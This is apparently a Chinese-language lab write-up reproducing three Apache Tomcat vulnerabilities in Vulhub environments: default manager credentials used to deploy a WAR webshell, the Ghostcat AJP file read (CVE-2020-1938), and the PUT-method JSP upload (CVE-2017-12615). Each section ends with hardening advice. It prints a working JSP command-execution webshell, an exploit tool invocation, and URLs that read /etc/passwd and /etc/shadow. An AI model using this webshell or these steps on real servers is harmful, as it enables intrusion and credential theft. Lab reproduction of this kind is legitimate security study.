Apache Tomcat 漏洞复现

2023-10-29

Apache Tomcat 漏洞复现

1. Tomcat7 弱密码和后端 Getshell 漏洞

链接地址:Vulhub - Docker-Compose file for vulnerability environment

1.1 漏洞描述

说明 内容
漏洞编号
漏洞名称 Tomcat7+ Weak Password && Backend Getshell Vulnerability
漏洞评级 高危
影响范围 8.0
漏洞描述 Tomcat 支持通过后端部署 war 文件,所以我们可以直接将 webshell 放入 Web 目录下。为了访问后端,需要权限。
修复方案 打补丁,上设备,升级组件

1.2 漏洞复现

环境启动

image-20230907165146041

访问页面

image-20230907165207175

点击管理控制平台

image-20230907165405345

用户名和密码都是tomcat

image-20230907165446271

进入到了tomcat后台项目管理控制台

image-20230907165526066

如果黑客攻击者拿到这个控制台,就会有很大的风险。甚至可以将大型木马打包成WAR包进行部署。

image-20230907165807753

1.3 漏洞利用

1.3.1 jsp小马

创建一个jsp木马

<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

然后将其打包成WAR包

image-20230907191640787

然后及将打包好的WAR包进行上传即可。

image-20230907190921996

上传成功

image-20230907191006915

访问页面

image-20230907191049345

上传的木马中写了密码为023再次访问,然后使用ls命令来查看当前目录下有哪些文件。

image-20230907191152829

查看权限

image-20230907191336053

env打印环境变量

image-20230907191546560

1.3.2 jsp大马

Webshell:138shell update · tennc/webshell@6a88226 (github.com)

利用我们准备好的大马,将其打包成war包后进行上传

image-20230907192539065

image-20230907192552215

上传成功

image-20230907192630248

访问成功

image-20230907192707830

image-20230907192811788

1.4 安全加固

  • 密码需要有字符类型要求和长度
  • 增加验证码认证或口令认证等机制
  • 文件上传点增加上传限制

2. Aapache Tomcat AJP任意文件读取/包含漏洞

链接地址:Vulhub - Docker-Compose file for vulnerability environment

2.1 漏洞描述

说明 内容
漏洞编号 CVE-2020-1938
漏洞名称 Aapache Tomcat AJP Arbitrary File Read / Include Vulnerability
漏洞评级 高危
影响范围 9.0.30
漏洞描述 由于Tomcat AJP协议中的缺陷,攻击者可以读取或包含Tomcat的Webapp目录中的任何文件。例如,攻击者可以读取 Web 应用配置文件或源代码。此外,如果目标Web应用具有文件上传功能,攻击者可以通过Ghostcat漏洞利用文件包含漏洞在目标主机上执行恶意代码。
修复方案 打补丁,上设备,升级组件

2.1 漏洞复现

环境启动

image-20230907175945335

2.2 漏洞利用工具

下载漏洞利用工具链接:github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

使用工具:

python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.188.185 -p 8009 -f WEB-INF/web.xml

文件读取成功

image-20230907174949166

查看读取的web.xml文件位置

image-20230907175412413

发现和我们之前读取的文件内容一致

image-20230907175433556

测试是否还可以读取其他的文件

我们可以在WEB-INF目录中创建一个wuhu.txt文件并在里面输入内容

image-20230907175641022

然后尝试读取该文件内容

image-20230907175716461

最后验证得出,这里读取文件是有限制的,只能读取ROOT目录下的文件

image-20230907175822217

2.4 修复建议

  1. 官方网站下载新版本进行升级。
  2. 直接关闭 AJP Connector,或将其监听地址改为仅监听本机 localhost。
  3. 若需使用 Tomcat AJP 协议,可根据使用版本配置协议属性设置认证凭证。

3. 通过 PUT 方法的 Tomcat 任意写入文件漏洞

链接地址:Vulhub - Docker-Compose file for vulnerability environment

3.1 漏洞描述

说明 内容
漏洞编号 CVE-2017-12615
漏洞名称 Tomcat Arbitrary Write-file Vulnerability through PUT Method
漏洞评级 高危
影响范围 8.5.19
漏洞描述 当存在漏洞的Tomcat运行在Windows/Linux主机上, 且启用了HTTP PUT请求方法( 例如, 将readonly初始化参数由默认值设置为false) , 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限
修复方案 打补丁,上设备,升级组件

3.2 漏洞复现

环境启动

image-20230907193834097

访问页面

image-20230907193851693

漏洞检测

image-20230907194258174

使用nuclei漏洞检测工具

./nuclei -u 192.168.188.185

image-20230907194821338

3.3 漏洞利用

浏览器路径访问

http://127.0.0.1/poc.jsp?cmd=cat+%2Fetc%2Fpasswd

%2F表示/

页面显示出来etc/passwd文件内容。

image-20230907194831874

测试是否可以查看shadow文件

http://127.0.0.1/poc.jsp?cmd=cat+%2Fetc%2Fshadow

image-20230907195007770

测试是否可以执行命令

http://127.0.0.1/poc.jsp?cmd=whoami

image-20230907195054403

3.4 修复建议

  1. 禁用 HTTP PUT 方法:为了防止该漏洞的利用,可以在 Tomcat 配置文件中设置 “readonly” 属性,禁用 HTTP PUT 方法。例如,在 server.xml 文件中,可以将 Connector 元素中的 allowTrace 属性设置为 false,禁用 TRACE 和 PUT 方法。
  2. 过滤特殊字符:应用程序应该过滤掉特殊字符,如 “…/” 或 “%2e%2e%2f”,以防止攻击者通过遍历路径来写入恶意文件。可以使用字符过滤器或正则表达式,限制输入数据的格式和内容。
  3. 路径验证和权限控制:应用程序应该对上传文件的路径进行验证,并限制其访问权限。可以将上传文件保存在特定的目录中,并确保其他用户无法访问该目录。此外,还应该对上传的文件进行扫描和检测,以防止上传恶意文件。
  4. 及时更新软件版本:Tomcat 团队已经意识到 PUT 方法任意写入文件漏洞,并提供了修复版本。因此,建议立即更新受影响的 Tomcat 版本,并实施相应的补丁程序。
  5. 启用安全模式:可以通过启用 Tomcat 的安全模式来减少漏洞利用的机会。安全模式可以限制 Tomcat 的访问权限,并增加对 Web 应用程序的监控和控制。
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Apache Tomcat 漏洞复现 的相关文章

随机推荐

  • 从入门到渐入佳境——记我的第六届字节青训营经历

    文章目录 为什么参加 开营前 开营后 做项目 准备答辩 为什么参加 参加第六届字节青训营之前 我也参加了今年5 6月的第五届青训营 最初是在我们学校一个工作室群里看到的 是一个学长发出来的 当时看到了非常感兴趣 想着是学点新知识 因为当时我
  • C++中sort函数详解

    原文链接点这 0 简介 sort函数用于C 中 对给定区间所有元素进行排序 默认为升序 也可进行降序排序 sort函数进行排序的时间复杂度为n log2n 比冒泡之类的排序算法效率要高 sort函数包含在头文件为 include的c 标准库
  • 性能测试基础概念和分类

    什么是性能测试 gt 在给定环境和场景中进行的测试活动 gt 根据测试结果评判是否存在性能问题 gt 如果存在性能问题 编辑定位性能瓶颈 并提出改进建议 性能不仅仅包括响应时间 还包括资源的占用 性能测试基本流程 1 性能测试需求分析 项目
  • vue项目中使用pdf.js预览pdf文件

    项目要求需要预览pdf文件 网上找了很久 大多数都是推荐pdf js 自己先了解了一下 最后决定用pdf js 但是发现 在vue中使用这个很少 所以我就写这一篇帮助一下vue使用pdfjs的朋友 其实 这和前端框架无关的 直接使用pdf
  • C++ 多态类型

    多态 C 在面向对象中 多态就是不同对象收到相同消息 执行不同的操作 在程序设计中 多态性是名字相同的函数 这些函数执行不同或相似的操作 这样就可以用同一个函数名调用不同内容的函数 简而言之 一个接口 多种方法 多态是以封装和继承为基础的
  • android 注册页面实现

    自己动手做的第一个demo 简单的注册页面的实现 并且注册成功后返回注册信息 适用于android新手基本控件的使用 注册页面的实现 import android os Bundle import android app Activity
  • 如果确定游戏服务器位置,如果确定游戏服务器位置

    如果确定游戏服务器位置 内容精选 换一换 远程登录服务器出现蓝屏或黑屏 可能是由于explorer exe进程异常导致的桌面无法显示 这是由于Windows服务器的explorer exe进程异常导致的 explorer exe是Windo
  • 腾讯混元大模型:新一代人机环境系统智能的发展趋势

    近日 腾讯混元大模型亮相 该通用大语言模型具备强大的中文创作能力 复杂语境下的逻辑推理能力 以及可靠的任务执行能力 同时也可以作为基底模型 为不同产业场景构建专属应用 从可靠 成熟 自研和实用的底层逻辑来看 腾讯混元大模型其实是建立在人机环
  • 算法设计学习记录(一):G-S算法实现稳定匹配

    最近这几周在复习微机原理 不可避免地重燃了对硬件的兴趣 一度想要拿下一张树莓派玩玩 好在这东西不便宜 思来想去还是决定暂时放放 一直有在考虑自己未来的发展方向 自动驾驶还是交通运输 这对我来说是一个很难决定的事情 回过头来想 其实现在确实想
  • 解决 if you already hava 64-bit JDK installed,define a JAVA_HOME variable in Computer>System....

    启动Android studio 弹窗 提示如图 一般是修改studio64 exe vmoptions文件出差 例如我的studio64 exe vmoptions位于C Users 24359 AppData Roaming Googl
  • vue3+scss开启写轮眼

    vue3 scss开启写轮眼 一 相关技术 二 使用步骤 1 安装依赖 2 眼球 3 勾玉 4 旋转动画 5 综合 一 相关技术 采用vue3 vite scss的技术内容进行开发 二 使用步骤 1 安装依赖 代码如下 npm instal
  • vue3+ts+webpack 搭建+环境配置+路由

    一 搭建 vue js webpack的项目 1 vite vue cli 版本在 4 5 0 以上 我用的5 0 4 npm install g vue cli vue V 创建项目 vue create 项目名字 安装依赖运行项目 cd
  • CentOS7 Install nodejs & npm

    1 安装nodejs npm yum install y nodejs npm 2 n Interactively Manage Your Node js Versions npm install g n 安装提示 root localho
  • 如何让 git 使用我选择的编辑器来编辑提交消息?

    问 如何全局配置 git 以使用特定编辑器 例如 vim 来提交消息 答1 一个优秀的自由职业者 应该有对需求敏感和精准需求捕获的能力 而huntsbot com提供了这个机会 设置 Git 的默认编辑器 选一个 在你的 Git 配置中设置
  • msvcp140.dll缺失解决办法

    出现dll缺失 可以考虑如下情况 推荐使用修复功能 能解决大部分情况 如果是开发者 有可能是发布的debug版本 在其它电脑没环境 下面的是各版本对应版本号 推荐使用release版本 可以解决大部分情况 msvcp msvcr vcomp
  • Ubuntu安装solc编译环境步骤

    Ubuntu安装solc编译环境步骤 cmake装过程 安装Z3 安装Boost Solidity安装 Ethereum使用 更进一步的开发 cmake装过程 solc编译器需要的cmake版本要大于3 9 0 所以要安装高于这个版本的cm
  • 论文笔记:FeUdal Networks for Hierarchical Reinforcement Learning

    0 abstract introduction 这也是一篇分层强化学习的论文 分为两层 Manager 上层 设置抽象的goal 这个goal传递给Worker 和H DQN不同 这个goal是由Manager自己学出来的 或者说 FUN不
  • Linux 下系统调用的三种方法

    系统调用 System Call 是操作系统为在用户态运行的进程与硬件设备 如CPU 磁盘 打印机等 进行交互提供的一组接口 当用户进程需要发生系统调用时 CPU 通过软中断切换到内核态开始执行内核系统调用函数 下面介绍Linux 下三种发
  • redis 高级应用之二(Redis的持久化 和 消息的[pub/sub]发布和订阅)

    1 Redis的持久化机制 redis是个支持持久化的内存数据库 也就是说redis要经常把内存中的数据保存到硬盘中来保证持久化 redis持久化方式有两种 snapshotting 快照 也是默认方式 原理 默认redis是会以快照的形式
  • Apache Tomcat 漏洞复现

    文章目录 Apache Tomcat 漏洞复现 1 Tomcat7 弱密码和后端 Getshell 漏洞 1 1 漏洞描述 1 2 漏洞复现 1 3 漏洞利用 1 3 1 jsp小马 1 3 2 jsp大马 1 4 安全加固 2 Aapac